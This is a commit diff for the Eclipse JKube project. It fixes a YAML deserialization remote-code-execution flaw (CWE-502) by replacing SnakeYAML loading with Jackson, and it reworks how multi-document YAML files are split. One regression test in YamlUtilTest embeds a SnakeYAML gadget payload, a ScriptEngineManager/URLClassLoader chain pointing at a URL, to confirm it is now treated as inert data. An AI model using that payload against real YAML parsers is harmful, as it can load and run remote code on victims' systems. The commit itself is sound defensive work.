fix: CWE 502 Deserialization of Untrusted Data + fix yaml list resource split

.github/workflows/integration-tests.yml

@@ -101,9 +101,10 @@ jobs:
       - name: Checkout
         uses: actions/checkout@v2
       - name: Setup OpenShift
-        uses: manusa/actions-setup-openshift@v1.0.1
+        uses: manusa/actions-setup-openshift@v1.0.3
         with:
           oc version: ${{ matrix.openshift }}
+          github token: ${{ secrets.GITHUB_TOKEN }}
       - name: Setup Java 11
         uses: actions/setup-java@v1
         with:

CHANGELOG.md

@@ -29,6 +29,7 @@ Usage:
 * Fix #112: Fix windows specific path error while splitting file path
 * Fix #102: HelmMojo works again
 * Fix #120: Critical bugs reported by Sonar
+* Fix #122: Bug 561261 - jkube-kit - insecure yaml load leading to RCE (CWE-502)
 
 ### 0.2.0 (05-03-2020)
 * Fix #71: script to extract changelog information for notifications

jkube-kit/common-maven/src/test/java/org/eclipse/jkube/kit/common/util/SpringBootUtilTest.java

@@ -45,7 +45,7 @@ public void testYamlToPropertiesParsing() {
 
     }
 
-    @Test(expected = IllegalArgumentException.class)
+    @Test(expected = IllegalStateException.class)
     public void testInvalidFileThrowsException() {
         YamlUtil.getPropertiesFromYamlResource(SpringBootUtilTest.class.getResource("/util/invalid-application.yml"));
     }

jkube-kit/common/src/main/java/org/eclipse/jkube/kit/common/util/ThorntailUtil.java

@@ -19,6 +19,8 @@
 
 public class ThorntailUtil {
 
+    private ThorntailUtil() {}
+
     /**
      * Returns the thorntail configuration (supports `project-defaults.yml`)
      * or an empty properties object if not found
@@ -28,8 +30,6 @@ public class ThorntailUtil {
      */
     public static Properties getThorntailProperties(URLClassLoader compileClassLoader) {
         URL ymlResource = compileClassLoader.findResource("project-defaults.yml");
-
-        Properties props = YamlUtil.getPropertiesFromYamlResource(ymlResource);
-        return props;
+        return YamlUtil.getPropertiesFromYamlResource(ymlResource);
     }
 }

jkube-kit/common/src/main/java/org/eclipse/jkube/kit/common/util/YamlUtil.java

@@ -14,47 +14,50 @@
 package org.eclipse.jkube.kit.common.util;
 
 import java.io.IOException;
-import java.net.URISyntaxException;
 import java.net.URL;
-import java.nio.file.Files;
-import java.nio.file.Paths;
-import java.util.Arrays;
+import java.util.ArrayList;
 import java.util.Collection;
 import java.util.Collections;
 import java.util.LinkedHashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.Optional;
 import java.util.Properties;
 import java.util.SortedMap;
-import org.yaml.snakeyaml.Yaml;
+
+import com.fasterxml.jackson.core.type.TypeReference;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.dataformat.yaml.YAMLFactory;
+import org.apache.commons.lang3.StringUtils;
 
 public class YamlUtil {
+
+  private static final YAMLFactory YAML_FACTORY = new YAMLFactory();
+  private static final ObjectMapper YAML_MAPPER = new ObjectMapper(YAML_FACTORY);
+  private static final String EMPTY_YAML = "---\n";
+
+  private YamlUtil() {
+  }
+
     protected static Properties getPropertiesFromYamlResource(URL resource) {
         return getPropertiesFromYamlResource(null, resource);
     }
 
-    protected static Properties getPropertiesFromYamlResource(String activeProfile, URL resource) {
-        if (resource != null) {
-            try {
-                Properties properties = new Properties();
-                // Splitting file for the possibility of different profiles, by default
-                // only first profile would be considered.
-                List<String> profiles = getYamlListFromFile(resource);
-                if (profiles.size() > 0) {
-                    try {
-                        properties.putAll(getPropertiesFromYamlString(getYamlFromYamlList(activeProfile, profiles)));
-                    } catch (IllegalArgumentException e) {
-                        throw new IllegalArgumentException(String.format("Spring Boot configuration file %s is not formatted correctly. %s",
-                                resource.toString(), e.getMessage()));
-                    }
-                }
-                return properties;
-            } catch (IOException | URISyntaxException e) {
-                throw new IllegalStateException("Error while reading Yaml resource from URL " + resource, e);
-            }
+  protected static Properties getPropertiesFromYamlResource(String activeProfile, URL resource) {
+    if (resource != null) {
+      try {
+        Properties properties = new Properties();
+        List<String> profiles = splitYamlResource(resource);
+        if (!profiles.isEmpty()) {
+          properties.putAll(getPropertiesFromYamlString(getYamlFromYamlList(activeProfile, profiles)));
         }
-        return new Properties();
+        return properties;
+      } catch (IOException e) {
+        throw new IllegalStateException("Error while reading Yaml resource from URL " + resource, e);
+      }
     }
+    return new Properties();
+  }
 
     /**
      * Build a flattened representation of the Yaml tree. The conversion is compliant with the thorntail spring-boot rules.
@@ -108,32 +111,38 @@ else if (value instanceof Collection) {
         }
     }
 
-    public static Properties getPropertiesFromYamlString(String yamlString) throws IllegalArgumentException {
-        Yaml yaml = new Yaml();
-        Properties properties = new Properties();
-
-        @SuppressWarnings("unchecked")
-        SortedMap<String, Object> source = yaml.loadAs(yamlString, SortedMap.class);
-        if (source != null) {
-            properties.putAll(getFlattenedMap(source));
-        }
-        return properties;
+  public static Properties getPropertiesFromYamlString(String yamlString) throws IOException {
+    final Properties properties = new Properties();
+    final SortedMap<String, ?> source = YAML_MAPPER.readValue(
+        Optional.ofNullable(yamlString).filter(StringUtils::isNotBlank).orElse(EMPTY_YAML),
+        new TypeReference<SortedMap<String, ?>>() {
+        });
+    if (source != null) {
+      properties.putAll(getFlattenedMap(source));
     }
+    return properties;
+  }
 
-    public static List<String> getYamlListFromFile(URL resource) throws URISyntaxException, IOException {
-        String fileAsString = new String(Files.readAllBytes(Paths.get(resource.toURI())));
-        String[] profiles = fileAsString.split("---");
-        return Arrays.asList(profiles);
+  static List<String> splitYamlResource(URL resource) throws IOException {
+    final List<String> serializedYamlList = new ArrayList<>();
+    final List<Map<String, ?>> parsedList = YAML_MAPPER.readValues(
+        YAML_FACTORY.createParser(resource), new TypeReference<Map<String, ?>>() {
+        }).readAll();
+    for (Map<String, ?> listEntry : parsedList) {
+      serializedYamlList.add(YAML_MAPPER.writeValueAsString(listEntry));
     }
+    return serializedYamlList;
+  }
 
-    public static String getYamlFromYamlList(String pattern, List<String> yamlAsStringList) {
+    static String getYamlFromYamlList(String pattern, List<String> yamlAsStringList) {
         if (pattern != null) {
             for (String yamlStr : yamlAsStringList) {
-                if (yamlStr.contains(pattern))
-                    return yamlStr;
+              if (yamlStr.contains(pattern)) {
+                return yamlStr;
+              }
             }
         }
-        return yamlAsStringList.get(0);
+        return yamlAsStringList.iterator().next();
     }
 
 }

jkube-kit/common/src/test/java/org/eclipse/jkube/kit/common/util/ThorntailUtilTest.java

@@ -21,12 +21,11 @@
 
 public class ThorntailUtilTest {
 
-    @Test
-    public void testReadThorntailPort() {
-        Properties props = YamlUtil.getPropertiesFromYamlResource(ThorntailUtilTest.class.getResource("/util/project-default.yml"));
-        assertNotNull(props);
-        assertEquals("8082", props.getProperty("thorntail.http.port"));
-
-    }
+  @Test
+  public void testReadThorntailPort() {
+    Properties props = YamlUtil.getPropertiesFromYamlResource(ThorntailUtilTest.class.getResource("/util/project-default.yml"));
+    assertNotNull(props);
+    assertEquals("8082", props.getProperty("thorntail.http.port"));
+  }
 
 }

jkube-kit/common/src/test/java/org/eclipse/jkube/kit/common/util/YamlUtilTest.java

@@ -0,0 +1,107 @@
+/**
+ * Copyright (c) 2019 Red Hat, Inc.
+ * This program and the accompanying materials are made
+ * available under the terms of the Eclipse Public License 2.0
+ * which is available at:
+ *
+ *     https://www.eclipse.org/legal/epl-2.0/
+ *
+ * SPDX-License-Identifier: EPL-2.0
+ *
+ * Contributors:
+ *   Red Hat, Inc. - initial API and implementation
+ */
+package org.eclipse.jkube.kit.common.util;
+
+
+import java.net.URL;
+import java.util.List;
+import java.util.Properties;
+
+import com.fasterxml.jackson.databind.JsonMappingException;
+import org.junit.Test;
+
+import static org.eclipse.jkube.kit.common.util.YamlUtil.getPropertiesFromYamlString;
+import static org.eclipse.jkube.kit.common.util.YamlUtil.splitYamlResource;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.hamcrest.CoreMatchers.startsWith;
+import static org.hamcrest.Matchers.hasSize;
+import static org.hamcrest.Matchers.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.fail;
+
+public class YamlUtilTest {
+
+  @Test
+  public void getPropertiesFromYamlStringEmptyStringTest() throws Exception {
+    // Given
+    final String yamlString = "";
+    // When
+    final Properties result = getPropertiesFromYamlString(yamlString);
+    // Then
+    assertThat(result, notNullValue());
+    assertThat(result.size(), is(0));
+  }
+
+  @Test
+  public void getPropertiesFromYamlStringNullStringTest() throws Exception {
+    // When
+    final Properties result = getPropertiesFromYamlString(null);
+    // Then
+    assertThat(result, notNullValue());
+    assertThat(result.size(), is(0));
+  }
+
+  @Test(expected = JsonMappingException.class)
+  public void getPropertiesFromYamlStringInvalidStringTest() throws Exception {
+    // Given
+    final String yamlString = "not\na\nvalid\nyaml";
+    // When
+    getPropertiesFromYamlString(yamlString);
+    // Then
+    fail();
+  }
+
+  @Test
+  public void getPropertiesFromYamlStringValidStringTest() throws Exception {
+    // Given
+    final String yamlString = "---\ntest: 1\nlist:\n  - name: item 1\n    value: value 1\nstill-test: 1";
+    // When
+    final Properties result = getPropertiesFromYamlString(yamlString);
+    // Then
+    assertThat(result, notNullValue());
+    assertThat(result.size(), is(4));
+    assertThat(result.getProperty("test"), is("1"));
+    assertThat(result.getProperty("list[0].name"), is("item 1"));
+    assertThat(result.getProperty("list[0].value"), is("value 1"));
+    assertThat(result.getProperty("still-test"), is("1"));
+  }
+
+  // https://bugs.eclipse.org/bugs/show_bug.cgi?id=561261
+  @Test
+  public void getPropertiesFromYamlCWE502Test() throws Exception {
+    // Given
+    final String yamlString = "maps: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\\\"http://localhost:9000/\\\"]]]]";
+    // When
+    final Properties result = getPropertiesFromYamlString(yamlString);
+    // Then
+    assertThat(result, notNullValue());
+    assertThat(result.size(), is(1));
+    assertThat(result.getProperty("maps[0][0][0][0]"), is("\\\"http://localhost:9000/\\\""));
+  }
+
+  @Test
+  public void splitYamlResourceTest() throws Exception {
+    // Given
+    final URL resource = YamlUtilTest.class.getResource("/util/yaml-list.yml");
+    // When
+    final List<String> result = splitYamlResource(resource);
+    // Then
+    assertThat(result, notNullValue());
+    assertThat(result, hasSize(4));
+    assertThat(result.get(1), containsString("name: \"YAML --- 2\""));
+    assertThat(result.get(3), startsWith("---\nname: \"Edge case --- 1"));
+  }
+
+}

jkube-kit/common/src/test/resources/util/yaml-list.yml

@@ -0,0 +1,40 @@
+#
+# Copyright (c) 2019 Red Hat, Inc.
+# This program and the accompanying materials are made
+# available under the terms of the Eclipse Public License 2.0
+# which is available at:
+#
+#     https://www.eclipse.org/legal/epl-2.0/
+#
+# SPDX-License-Identifier: EPL-2.0
+#
+# Contributors:
+#   Red Hat, Inc. - initial API and implementation
+#
+
+---
+name: YAML 1
+list:
+  - id: 1
+    nested:
+      - element: 1
+        name: nested element 1
+      - element: 2
+        name: nested element 1
+  - id: 2
+    nested:
+property: true
+---
+name: YAML --- 2
+---
+name: YAML 3
+list:
+  - id: 1
+  - id: 2
+    name: nested element 2
+---
+name: Edge case --- 1
+list:
+  - id: first corner ---
+  - id: 2
+    name: nested element 2